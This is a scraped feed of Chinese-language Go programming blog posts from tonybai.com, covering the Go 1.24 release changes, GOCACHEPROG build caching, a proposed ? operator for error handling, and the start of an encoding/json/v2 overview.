缓存失效策略：实现更复杂的缓存失效策略，例如基于 LRU（最近最少使用）或 TTL（生存时间）的过期机制。 分布式缓存：构建一个分布式的缓存系统，支持在多个开发机器或 CI 节点之间共享构建缓存。 监控和统计：添加监控和统计功能，跟踪缓存命中率、缓存大小、性能指标等。 此外，目前的go-cache-prog是顺序处理go命令的请求的，大家也可以自行将其改造为并发处理请求，不过务必注意并发处理的同步。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/04/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/03/04/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/03/04/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache\"\u003ehttps://tonybai.com/2025/03/04/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e背景\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003cp\u003e众所周知，Go build cache是在\u003ca href=\"https://tonybai.com/2018/02/17/some-changes-in-go-1-10\"\u003eGo 1.10版本\u003c/a\u003e加入到Go工具链中的，缓存的主要目标是避免重复编译相同的代码，从而加快构建速度。\u003c/p\u003e\n\u003cp\u003e默认情况下，Go构建缓存位于用户主目录下的一个特定目录中，例如，Linux上通常是$HOME/.cache/go-build，Windows上是%LocalAppData%\\go-build）。Mac上则是$HOME/Library/Caches/go-build。当然，Go开发者也可以通过GOCACHE环境变量自定义缓存位置。构建缓存的目录布局结构如下：\u003c/p\u003e","title":"深入GOCACHEPROG：Go构建缓存的自定义扩展"},{"content":"\n本文永久链接 – https://tonybai.com/2025/02/16/some-changes-in-go-1-24\n北京时间2025年2月12日，恰逢中国传统元宵佳节，远在美国的Go团队正式发布了Go 1.24的第一个版本Go 1.24.0。这也是Go团队在更换Tech Leader为Austin Clements后发布的首个大版本。\n按照惯例，每次Go大版本发布时，我都会撰写一篇“Go 1.x中值得关注的几个变化”的文章。自2014年的Go 1.4版本起，这一系列文章已经持续了11年。\n不过，随着从Go 1.17版本开始引入的“Go 1.x新特性前瞻”系列以及针对特定技术特性的专题文章，“Go 1.x中值得关注的几个变化”系列文章的形式也在不断演变。原先的“Go 1.x中值得关注的几个变化”可以理解为被目前的“Go 1.x新特性前瞻” + “特定技术特性文章” + “Go 1.x中值得关注的几个变化”所替代。\n不过，随着从Go 1.17版本开始引入的“Go 1.x新特性前瞻”系列以及针对特定技术特性的专题文章，“Go 1.x中值得关注的几个变化”系列的形式也在不断演变。原先的“Go 1.x中值得关注的几个变化”已逐渐被目前的“Go 1.x新特性前瞻” + “特定技术特性文章” + “Go 1.x中值得关注的几个变化(新版)”所替代。希望各位读者能够理解这种变化，“Go 1.x中值得关注的几个变化”系列依然会延续，但文章中将不再进行细致的分析，因为这些内容已经在之前的前瞻和专题文章中讨论过了。\n好了，言归正传，我们来说说Go 1.24！\n语言变化 正如Go一贯所做的，新版Go 1.24.0继续遵循Go1的兼容性规范。使用Go 1.24.0，你可以顺利编译和运行你用Go 1.11编写的代码。相信许多Gopher正是因为这一点而喜欢上Go，就像下面这位Gopher在Go 1.24发布后所表现出的惊喜一样：\n不过，正如Go一贯所做的那样，在语法特性方面，Go显得十分“吝啬”。在Go 1.18大方地引入了泛型之后，Go团队又恢复了这种“吝啬”的风格。在Go 1.24的发布说明中，那短短的一行字充分展现了这一特点：\n我们看到，Go 1.24仅仅是将Go 1.23版本中的实验特性“带有类型参数的类型别名”转正了，成为了默认特性。当然你仍然可以GOEXPERIMENT=noaliastypeparams显式关闭它。关于这个特性的具体内容，我们多次说过了，大家可以到《Go 1.24新特性前瞻：语法、编译器与运行时》温习一下它的具体内容。\n不过这种“吝啬”也是很多Gopher所期望的，当年Go语言之父Rob Pike在“Simplicity is Complicated”演讲中提到的如下权威观点，影响了诸多Gopher，当然也包括我：\n因此，在正在如火如荼的“spec: reduce error handling boilerplate using ?”的讨论中，就当前的情况来看，我也倾向于保持现状。\n编译器与运行时 在2024年中旬，Fasthttp的作者、VictoriaMetrics的联合创始人Aliaksandr Valialkin曾因Go加入自定义函数迭代的特性而发文抱怨“Go正在朝着错误的方向演进”。不过他也提到，如果Go团队专注于提升Go的性能，而不是在与社区争论一些“华而不实”的语法糖，可能会赢得更多开发者的青睐：\n尽管Go 1.24尚未添加对SIMD的官方支持，但引入的优化显然不会让Aliaksandr Valialkin失望。首当其冲的就是对map底层实现的优化——使用更为高效的Swiss Table。关于Swiss Table及Go 1.24重写map的思路，可以参考我的《Go map使用Swiss Table重新实现，性能最高提升近50%》一文。根据文中的实测结果，新版基于Swiss Table的map在多数测试项中表现出显著的性能提升，有些甚至接近50%！\n当然，基于Swiss Table的map实现仍在不断完善，其实现者Michael Pratt将持续进行打磨和优化：\n参与Go Swiss Table重写方案讨论，并提供参考实现之一的CockroachDB CTO Peter Mattis，也在X.com上分享了新map设计和实现的诞生过程与优势，大家可以阅读以加深理解。\n此外，Go 1.24还优化了runtime内部的锁实现，新实现在高竞争情况下取得了显著的可扩展性提升，而不是像Go 1.24之前的实现那样随线程数增加而急剧下降。基准测试表明，在GOMAXPROCS=20时，性能提升达3倍。\n更多编译器和运行时的变化，可以参考《Go 1.24新特性前瞻：语法、编译器与运行时》。\nGo 1.24版本在编译器和运行时方面的优化投入和勇于改变，正是Go社区所期望的。相信后续版本在这方面的持续投入不会让Aliaksandr Valialkin失望。\n工具链 Go团队在Go工具链上的投入和结果一直被Go社区认可和赞扬！《Go 1.24新特性前瞻：工具链和标准库》一文中有对Go 1.24工具链变化的详细介绍，但在这里我还是要再次提及其中的三个变化。\ngo.mod增加tool指示符，支持对tool的依赖管理 借用《Go工具链版本已不由你定：go和toolchain指令详解》中的那幅图：\nGo的目标显然是要实现对Go应用所依赖“全要素”进行版本管理”，涵盖Go版本、工具链版本、第三方包版本以及依赖工具版本的管理。而Go 1.24在go.mod中增加tool指示符就是要实现对依赖工具的版本进行管理。增加tool指示符后，你可以像管理第三方包版本那样，使用go get -tool对依赖的tool的版本进行管理，go install tool对tool进行安装，并支持一个tool同时存在多个版本在本地，这是由于通过go.mod管理的依赖的tool会被像module那样缓存在本地构建缓存中(go build cache)。\nbtw，再说说go 1.24对toolchain依赖管理和选择的改善。即便看了《Go工具链版本已不由你定：go和toolchain指令详解》一文，很多Gopher还是可能因为gotoolchain决策的复杂性和参与要素的众多而感到困惑，Go 1.24增加了GODEBUG=toolchaintrace=1可以输出做出决策的过程日志，告诉你Go为何会选择某个特定的toolchain版本。\ngo vet的增强 在Go 1.24中，go vet的功能有了较大变化，新增或增强了如下一些分析器(analyzer)：\n新增测试分析器 可以检测test、fuzz test、基准测试和example test中的常见错误，避免因命名、签名错误或引用不存在的标识符而导致测试无法运行。\nprintf分析器增强 新增对fmt.Printf(s)的检查，如果这类调用中格式字符串并非常量且没有传入其他参数，则提醒用户使用fmt.Print。\nbuildtag分析器增强 新增对无效Go主版本构建约束的检测，避免错误引用次版本号。例如，如果你使用//go:build go1.23.1，该分析器会提醒你应该使用//go:build go1.23。\ncopylock分析器增强 增强对经典三段式for循环中包含sync.Locker的变量复制的不安全操作的诊断，防止锁的复制带来的潜在问题。这也是Go 1.23修正loopvar语义后避免Go用户误用的一个防卫手段。\n新增GOCACHEPROG 另一个大家可能忽视的值得关注的改变是新增了GOCACHEPROG环境变量。\nGo语言的cmd/go工具已经具备了强大的缓存支持，但其缓存机制仅限于基于文件系统的缓存。这种缓存方式在某些场景下效率不高，尤其是在CI（持续集成）环境中，用户通常需要将GOCACHE目录打包和解压缩，这往往比CI操作本身还要慢。此外，用户可能希望利用位于网络上的共享缓存(比如S3)或公司内部的P2P缓存协议来提高缓存效率，但这些功能并不适合直接集成到cmd/go工具中。\n为了解决上述问题，Brad Fitzpatrick提出了一个新的环境变量GOCACHEPROG，类似于现有的GOCACHE变量。通过设置GOCACHEPROG，用户可以指定一个外部程序，该程序将作为子进程运行，并通过标准输入/输出来与cmd/go工具进行通信。cmd/go工具将通过这个接口与外部缓存程序交互，外部程序可以根据需要实现任意的缓存机制和策略。其大致结构如下：\n显然一旦可以在云上存储build cache，也能缓解一下Go用户抱怨本地缓存过大的问题。当然从实际情况来看(我的本地环境)，go build cache还不是最大的：\n$go env|grep CACHE GOCACHE=\u0026#39;/Users/tonybai/Library/Caches/go-build\u0026#39; GOCACHEPROG=\u0026#39;\u0026#39; GOMODCACHE=\u0026#39;/Users/tonybai/Go/pkg/mod\u0026#39; $cd /Users/tonybai/Library/Caches/go-build $du -sh 155M . $cd /Users/tonybai/Go/pkg/mod $du -sh 7.0G 我们看到在我本地的环境中，go build cache和go module cache的size相比，简直是不值得一提，所以说如果后续要有个GOMODCACHEPROG就更好了，我也十分希望能将go module cache搬移到云端（比如S3）中，甚至可以让组织内的Gopher共享这些go module cache（当然要区分不同arch和os）。\n更多关于工具链的变化，可以参考《Go 1.24新特性前瞻：工具链和标准库》。\n标准库 Go标准库向来是变化的大户，这里我显然不会列出所有变化，甚至一些值得关注的变化，比如：json包增加对omitzero选项的支持、新增weak包和weak指针等，也都在新特性前瞻或技术专题性文章中有过详细说明。\n这里要说的是Go对fips 140-3合规性的支持，因为这个最终版本与当初新特性前瞻时有所变化。\n基于最新的Go fips 140-3文档，我们可以得到关于fips 140-3使用方法的说明，这里简要梳理如下：\nGo 1.24及更高版本开始，Go二进制文件可以原生运行在FIPS 140-3合规模式下，不必依赖注入boringssl等第三方C++包。 Go新增了的一个特殊的Go加密模块 (Go Cryptographic Module)，其下有一组新增的标准库包（位于crypto/internal/fips140/…下），实现了 FIPS 140-3批准的算法。这个cryptographic module的版本当前为v1.0.0，目前正在接受CMVP认证实验室的测试。 Go引入了GOFIPS140环境变量，用于go build、go install和go test命令，以选择要链接到可执行程序中的Go加密模块版本。该环境变量有三类可选值：\noff (默认): 使用标准库中的crypto/internal/fips140/…包。 latest: 类似off，但默认启用FIPS 140-3模式。 v1.0.0: 使用Go加密模块 v1.0.0 版本（在Go 1.24中首次发布，并在2025年初冻结），默认启用FIPS 140-3模式。 在运行时，可以通过GODEBUG=fips140=xxx来控制上述编译到Go中的Go cryptographic module是否运行在FIPS 140-3模式下，默认是off。\n当使用GODEBUG=fips140=on时，Go运行时将会启用Go cryptographic module的FIPS 140-3模式。启用后，Go加密模块会执行以下操作：\n完整性自检: 在init阶段，会验证模块对象文件的校验和，确保代码未被篡改。 已知答案自检: 根据FIPS 140-3指南，在init阶段或首次使用时，对算法进行已知答案测试。 密钥一致性测试: 对生成的密钥进行配对一致性测试 (这可能导致某些密钥类型生成速度减慢，特别是临时密钥)。 crypto/rand.Reader改进: 使用NIST SP 800-90A DRBG，并从平台CSPRNG获取随机字节混合到输出中。 crypto/tls限制: 仅协商符合NIST SP 800-52r2 的协议版本、密码套件、签名算法和密钥交换机制。 crypto/rsa.SignPSS限制: 使用PSSSaltLengthAuto时，盐的长度会被限制为哈希的长度。 当使用GODEBUG=fips140=only时，不符合FIPS140-3的加密算法会返回错误或者panic。但是此模式仅为尽力而为，不保证符合所有的FIPS 140-3要求。\n不过大家要知道的是：在Go 1.24版本中，GODEBUG=fips140=on和only在OpenBSD、Wasm、AIX和32位Windows平台上暂不受支持。\n另外要想要检测FIPS 140-3模式是否已经激活，可以调用crypto/fips140.Enabled函数。\n之前，一些场合用户使用BoringCrypto模块来实现某些FIPS 140-3算法的机制仍然可用，但已不被官方支持，并计划在未来版本中移除。另外要知道Go+BoringCrypto与原生FIPS 140-3模式并不兼容。这也是Microsoft Go依旧宣称将保留自己维护的符合fips140-3的Go版本的原因。\n其他 最后重点说说WebAssembly port。\nGo从Go 1.11版本开始通过js/wasm增加了对编译到Wasm的支持。Go 1.21版本又增加了对WASI的支持(GOOS=wasip1)，Go 1.24版本中，Go对Wasm的支持又有了新的特性。在Go 1.24发布没多久，Cherry Mui便在官博发表了名为“Extensible Wasm Applications with Go”的介绍Go 1.24中WebAssembly新特性的文章，文章介绍了Go 1.24对Wasm的支持程度以及一些限制。这里也参考了这篇文章，简单梳理一下Cherry给出的内容要点。\nGo 1.24引入了新的编译器指示符go:wasmexport，允许将Go函数导出，以便从Wasm模块外部（通常是从运行Wasm运行时的主机应用程序）调用。该指示符指示编译器将带注释的函数作为Wasm导出提供，在生成的Wasm二进制文件中可用，比如：\n//go:wasmexport add func add(a, b int32) int32 { return a + b } 这样，Wasm模块将具有一个名为add的导出函数，可以从主机调用。\n这是如何实现的呢？Cherry告诉我们这是通过构建一种名为WASI Reactor的Wasm模块来实现的。WASI Reactor是一种持续运行的WebAssembly模块，可以多次调用以响应事件或请求。与在主函数完成后终止的“命令”模块不同，reactor实例在初始化后保持活动状态，其导出保持可访问状态。\n在Go 1.24中，要构建一个WASI reactor需要使用下面命令：\n$GOOS=wasip1 GOARCH=wasm go build -buildmode=c-shared -o reactor.wasm 该构建命令指示链接器不生成_start函数（wasm命令模块的入口点），而是生成_initialize函数（执行运行时和包初始化）以及任何导出的函数及其依赖项。_initialize函数必须在任何其他导出函数之前调用。而main函数不会自动调用。\ngo:wasmexport指示符和reactor构建模式允许通过调用基于Go的Wasm代码来扩展应用程序。这对于采用Wasm作为具有明确定义接口的插件或扩展机制的应用程序特别有价值。通过导出Go函数，应用程序可以利用Go Wasm模块提供功能，而无需重新编译整个应用程序。此外，构建为reactor可确保可以多次调用导出的函数而无需重新初始化，使其适用于长时间运行的应用程序或服务。\n次卧，Go 1.24还放宽了对可用于go:wasmimport函数的输入和结果参数类型的限制。例如，可以传递bool、string、指向int32的指针或指向嵌入structs.HostLayout并包含受支持字段类型的结构体的指针，这使得Go Wasm应用程序可以用更自然的方式编写，并消除了不必要的类型转换。\n不过，go:wasmexport当前也有局限性，首先，Wasm 是单线程架构，没有并行性。go:wasmexport标识的函数可以生成新的goroutine。但是，如果函数创建了后台goroutine，则当go:wasmexport指示的函数返回时，它将不会继续执行，直到回调到基于Go的Wasm模块。\n另外，尽管Go 1.24中放宽了一些类型限制，但对于可与go:wasmimport和go:wasmexport函数一起使用的类型仍然存在限制。比如由于客户端的64位体系结构和主机的32位体系结构之间的不匹配，我们无法传递内存中的指针。例如，go:wasmimport指示的函数不能采用指向包含指针类型字段的结构体的指针。\n但不可否认的是go:wasmexport的支持，让Go更稳固了自己成为主流wasm开发语言之一的位置，虽然还有各种不足。近期Docker之父的初创公司Dagger就发博客宣称使用了Go+WebAssembly重写了其Dagger Cloud的前端！\n小结 Go 1.24的发布，标志着Go语言在保持其核心理念——简洁与兼容性的同时，进入了一个新的发展阶段。这个版本没有在语法上大刀阔斧，而是将重心放在了底层性能优化、工具链完善和新兴技术布局上，展现出Go团队务实且具有前瞻性的发展策略。同时，Go 1.24也可以看成是一个承上启下的版本。它既巩固了Go语言在性能和工具链方面的优势，又为未来的发展方向做出了积极的布局。Go语言正以稳健的步伐，朝着更高效、更安全、更具适应性的方向迈进。我们可以期待，在未来的版本中，Go将继续在云原生计算、WebAssembly、AI应用等领域发挥更大的作用，为开发者带来更多的惊喜。\n借此文章插播一条国内Go社区的news!\n近期GoCN社区发文“Farewell Go，Hello AI：是时候说再见了”和所有国内Go开发人员分享了“GoCN社区将正式转型升级为ThinkInAI社区”，全面拥抱AI的决定！这也意味国内最大Go技术社区的退出，最大Go技术大会GopherChina的正式落幕！除了AI是热门赛道这一原因之外，文章也给出了Go技术分享遇到瓶颈的说法：\n不过就像文中所说的“这是任何技术发展到成熟阶段的必然现象”，在评论中一些Gopher也提到：一个技术不再被更多讨论是成熟的标志。\n这其实与我在《2024年Go语言盘点：排名历史新高，团队新老传承》一文中表达的Go演进趋势不谋而合！Go真的进入了成熟期了!\nGoCn不在了，但go在国内的传播和使用依然会继续。请继续关注诸如Gopher Daily、我的公众号以及国内其他诸如像鸟窝老师的blog以及公众号，了解Go的最新动态以及技术理解。\n最后感谢AstaXie(谢孟军)对国内Go社区发展所做出的卓越贡献，我也因有幸多次参与GopherChina以及会上分享而感到无比自豪。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/02/16/some-changes-in-go-1-24/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-24-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/02/16/some-changes-in-go-1-24\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/02/16/some-changes-in-go-1-24\"\u003ehttps://tonybai.com/2025/02/16/some-changes-in-go-1-24\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e北京时间2025年2月12日，恰逢中国传统元宵佳节，远在美国的\u003ca href=\"https://go.dev/blog/go1.24\"\u003eGo团队正式发布了Go 1.24\u003c/a\u003e的第一个版本\u003ca href=\"https://go.dev/dl/go1.24.0.src.tar.gz\"\u003eGo 1.24.0\u003c/a\u003e。这也是\u003ca href=\"https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team/\"\u003eGo团队在更换Tech Leader为Austin Clements\u003c/a\u003e后发布的首个大版本。\u003c/p\u003e","title":"Go 1.24中值得关注的几个变化"},{"content":"关于Go错误处理新提案的一个想法：?操作符这样用行不行 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n关于Go错误处理新提案的一个想法：?操作符这样用行不行 二月 8, 2025 2 条评论 本文永久链接 – https://tonybai.com/2025/02/08/personal-idea-about-using-question-mark-operator-in-go-error-handling-new-proposal\n背景 Ian Taylor在关闭了旨在消除Go错误处理样板代码的issue之后，又另起了一个“同名”的discussion。错误处理真不愧是Go社区呼声最高的问题，几天之内又收到了近500条回复！不过到目前为止，依然没有形成统一和高赞的意见。\n关于error handling的样板代码过多，其实我个人是可以接受的，即便不做出任何改变也是ok的，估计Go社区与我有相同看法的也不在少数。比如就有人引用了Rob Pike的权威观点，并认为Go应该按照Rob大神的思路，保持Go语法稳定：\n不过自然也会有另外一批人强烈希望错误处理的样板代码得到改进。\nIan Taylor在discussion中明确了该提案的目标是引入一种新语法，在不影响控制流清晰度的前提下，减少正常情况下检查错误所需的代码量。\nIan最初的Proposal由于隐式声明变量err以及可选代码块等问题而备受“批评”，并且似乎该proposal违反了他自己提出的目标。\n今天在discussion中看到一位名为Mukunda Johnson的gopher的评论，我觉得很有道理。其核心观点就是：尽量保持Go的传统语法形式。他还给出了期望中的语法示例：\n// 当前错误处理样板代码过多的示例 f, err := open(file) if err != nil { return err } defer f.Close() if err = binwrite(f, signature); err != nil { return err } if err = binwrite(f, header); err != nil { return err } if err = binwrite(f, zeroSegment); err != nil { return err } for _, s := range segments { if err = binwrite(f, s); err != nil { return err } } if err = binwrite(f, footer); err != nil { return err } vs. // 使用新语法改进后的代码 f, err := open(file)? defer f.Close() binwrite(f, signature)? binwrite(f, header)? binwrite(f, zeroSegment)? for _, s := range segments { binwrite(f, s)? } binwrite(f, footer)? 这给了我很大启发：我们可以引入?语法，但是如果结合原先err变量的声明形式岂不是更好！比如：\nf, err := open(file)? 岂不是要比下面两种形式更好！\nf := open(file)? 或 f := open(file)? err { } 通过仅引入一个问号（?）操作符，并避免引入过多的新语法形式，却能解决60%的错误处理样板问题。根据jba对Go开源代码中错误处理的抽样统计，超过60%的错误处理都是直接返回err，而没有对err进行任何修饰。此外，显式声明err可以最大程度地避免隐式声明带来的问题，同时提升代码的可读性。\n因此，基于尽量使用已有Go代码风格、最大程度避免隐式声明，并仅解决最常见的错误处理样板代码的原则，下面我基于Ian提案的错误处理改进语法，谈点自己关于新？操作符使用的想法，大家看看是否可行。\n对于最常见的未经修饰的错误处理代码 err := SomeFunction2() if err != nil { return err } 或是 if err := SomeFunction2(); err != nil { return err } 我们使用下面的新语法做等价替代：\nerr := SomeFunction2() ? 如果声明的错误变量名为err，也可省略赋值操作符左侧代码，从而简化为：\nSomeFunction2() ? // 这里略带隐式 如果函数返回值有多个，甚至有多个错误变量的情况 比如下面代码：\na, b, err0, err1, err2 := SomeFunction3() if err2 != nil { return err2 } 我们可以将其改写为：\na, b, err0, err1, err2 := SomeFunction3()? 其语义是如果err2不为nil，返回err2，但前提要保证赋值语句的左侧的最后一个变量err2必须是实现error接口的类型的变量。\n如果是像下面这样在err2 != nil时有多个返回值，又该如何处理呢？\na, b, err0, err1, err2 := SomeFunction3() if err2 != nil { return a, b, err2 } 对于这种情况，我认为可以不在新方案的考虑范围之内，现在怎么写，请继续这么写。如果非要解决，请继续看后面支持可选代码块的情况。\n实现以上两种情况，就能解决60%以上的错误样板代码问题了！\n对于对返回的error值进行修饰的情况 对于像下面两种对返回的error变量进行修饰的情况：\nr, err := SomeFunction() if err != nil { return fmt.Errorf(\u0026#34;something failed: %v\u0026#34;, err) } 和\nif err := SomeFunction2(); err != nil { return fmt.Errorf(\u0026#34;something else failed: %v\u0026#34;, err) } 我的第一想法是保持现状 ，不在新方案考虑范围之内。\n不过如果非要在新方案中解决，那就需要引入可选代码块(optional block)了！比如：\nr, err := SomeFunction() ? { return fmt.Errorf(\u0026#34;something failed: %v\u0026#34;, err) } err := SomeFunction2() ? { return fmt.Errorf(\u0026#34;something else failed: %v\u0026#34;, err) } 和Ian的原proposal中语法不同，这里我们依然显式声明了err，当然你也可以不用err这个名字，由于是显式声明，你用任何名字均可，比如：\nr, e := SomeFunction() ? { return fmt.Errorf(\u0026#34;something failed: %v\u0026#34;, e) } myErr := SomeFunction2() ? { return fmt.Errorf(\u0026#34;something else failed: %v\u0026#34;, myErr) } 这将避免隐式声明带来的诸多问题！\n基于可选代码块，我们也可以处理一下前面提到的返回多个值的情况。下面代码\na, b, err0, err1, err2 := SomeFunction3() if err2 != nil { return a, b, err2 } 可以改写为：\na, b, err0, err1, err2 := SomeFunction3() ? { return a, b, err2 } 这里加入可选代码块后，我建议开发人员负责显式调用return，而不是由?操作符来自动return，也就是说完全将控制权交给你。如果你没有在可选代码块中调用return，那么代码在执行完可选代码块中的代码后，还会继续向下执行。可选代码块相当于一个error handler，而不带可选代码块的情况，默认的error handler其实就是一个return err，伪代码类似这样：\nerr := SomeFunction2() ? \u0026lt;=\u0026gt; err := SomeFunction2() ? { return err } 这样解释后，你是不是觉得在语义层面，不带可选代码块与带有可选代码块的情况就统一和一致了呢！\n本质上来说，?+可选代码块仅是让你少敲了个if以及err != nil。\n综合示例 Mukunda Johnson给出的示例其实已经可以很好地展示?操作符+显式声明err方案带来的消除样板代码的效果，这里再回顾一下(这里没用到可选代码块，因此代码显得格外清晰)：\nf, err := open(file)? defer f.Close() binwrite(f, signature)? binwrite(f, header)? binwrite(f, zeroSegment)? for _, s := range segments { binwrite(f, s)? } binwrite(f, footer)? 此外，在原discussion中，另外一个gopher提出的示例，我们也可以用上面的想法改写一下：\n// 最常见的情况 SomeFunc() ? // 多个返回值，最后一个为error变量 a, err1 := SomeFunction2() ? // 返回前对err进行修饰 err := SomeFunc() ? { return fmt.Errorf(\u0026#34;oh no: %w\u0026#34;, err) } // 显式声明避免变量遮蔽 err := SomeFunc() ? { otherErr := OtherFunc() ? { err = errors.Wrap(err, otherErr) // 在可选代码块中没有显式调用return，代码还会继续向后执行 } return fmt.Errorf(\u0026#34;oh no: %w\u0026#34;, err) } 小结 再来简单总结一下上面想法中的语法形式的优势：\n与传统Go语法形式几乎一致，尽量避免引入过多新语法形式，在不使用可选代码块的时候，只是多了一个问号（?）。 显式声明err变量，最大程度避免隐式声明带来的问题。 专注解决最常见的错误处理样板情景，其他场景保持当前写法即可。 即便引入可选代码块，本质上与不用可选代码块的语法在语义层面也是统一和一致的。 这一语法方案保留了原Ian提案中的优势，并能消除一些缺点，如变量遮蔽和隐式声明等。不过，仍然有些原proposal中的劣势问题无法完全消除，但这些问题显然不是主要关注点。\n需要注意的是，以上想法目前仅停留在形式讨论层面，技术层面是否可行尚不确定。\n大家认为我的想法可行吗？希望大家能提出更具建设性的意见^_^。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/02/08/personal-idea-about-using-question-mark-operator-in-go-error-handling-new-proposal/","summary":"\u003cp\u003e关于Go错误处理新提案的一个想法：?操作符这样用行不行 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"关于Go错误处理新提案的一个想法：?操作符这样用行不行"},{"content":"\n本文永久链接 – https://tonybai.com/2025/02/05/go-encoding-json-v2-proposal-json-processing-new-engine\nGo标准库中的encoding/json包，作为Go社区广泛使用的JSON处理工具，至今已走过十余年。凭借其将JSON数据与原生Go类型相互转换的能力、通过struct tag自定义字段表示的灵活性，以及Go类型自定义JSON格式的特性，赢得了Go开发者的青睐。\n然而，随着时间的推移，encoding/json的局限性也逐渐显现。孤立地解决这些问题可能会导致非正交特性之间产生意外的交互。因此，Go团队在2023年下旬发起了关于encoding/json/v2的讨论，旨在全面审视现有encoding/json包，并提出一个面向未来十年的Go JSON处理方案，打造一个 JSON处理新引擎。\n经过近一年多的讨论、设计调整以及参考实现的优化，Go团队于近期正式提出了关于encoding/json/v2的提案issue。在该issue中，Go团队梳理并总结了讨论结果以及初始设计与后续调整之间的差异，以供Go社区进一步审阅与反馈。\n为了让大家更好地了解该提案issue的核心内容，本文将对提案的背景、主要内容、相对于v1版本的主要改进，以及与v1版本的联系等进行全面介绍，希望通过这篇文章，大家能够及时了解到Go标准库json包的演进与变化。\n提案背景：现有encoding/json包的局限与改进的需求 